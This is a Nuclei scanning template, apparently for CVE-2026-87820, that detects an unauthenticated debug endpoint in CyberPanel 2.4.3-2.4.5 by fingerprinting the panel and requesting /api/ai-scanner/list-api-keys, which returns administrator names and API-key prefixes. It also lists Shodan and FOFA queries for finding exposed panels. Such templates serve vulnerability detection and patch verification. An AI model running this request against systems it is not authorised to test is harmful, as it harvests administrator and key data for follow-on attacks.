id: CVE-2026-87820 info: name: CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure author: 0x_Akoko severity: medium description: | CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks. impact: | Unauthenticated attackers can enumerate panel administrators, API key prefixes,hosted domains, and scan metadata CyberPanel instances. remediation: | Upgrade CyberPanel to 2.4.6 reference: - https://github.com/usmannasir/cyberpanel/security/advisories/GHSA-qmwq-9cc8-x6h2 - https://github.com/usmannasir/cyberpanel/commit/20484fd - https://nvd.nist.gov/vuln/detail/CVE-2026-87820 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cwe-id: CWE-489 cve-id: CVE-2026-87820 epss-score: 0.00874 epss-percentile: 0.58554 metadata: verified: true max-request: 2 vendor: cyberpanel product: cyberpanel shodan-query: http.title:"Login - CyberPanel" fofa-query: title="Login - CyberPanel" tags: cve,cve2026,cyberpanel,debug,disclosure,unauth flow: http(1) && http(2) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 3 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_any(tolower(body), "cyberpanel", "usmannasir/cyberpanel")' condition: and internal: true - raw: - | GET /api/ai-scanner/list-api-keys HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'contains_all(body, "api_key_prefix", "admin", "recent_scans")' condition: and # digest: 490a0046304402204797a256989e27d0150f9d3d7513e329e15627dea78c31ae09888b52bb41477702207ca0e7ac182df4a61b51e320592183cc029b6ab67f12890f5f8e95ce45260a25:922c64590222798bb761d5b6d8e72950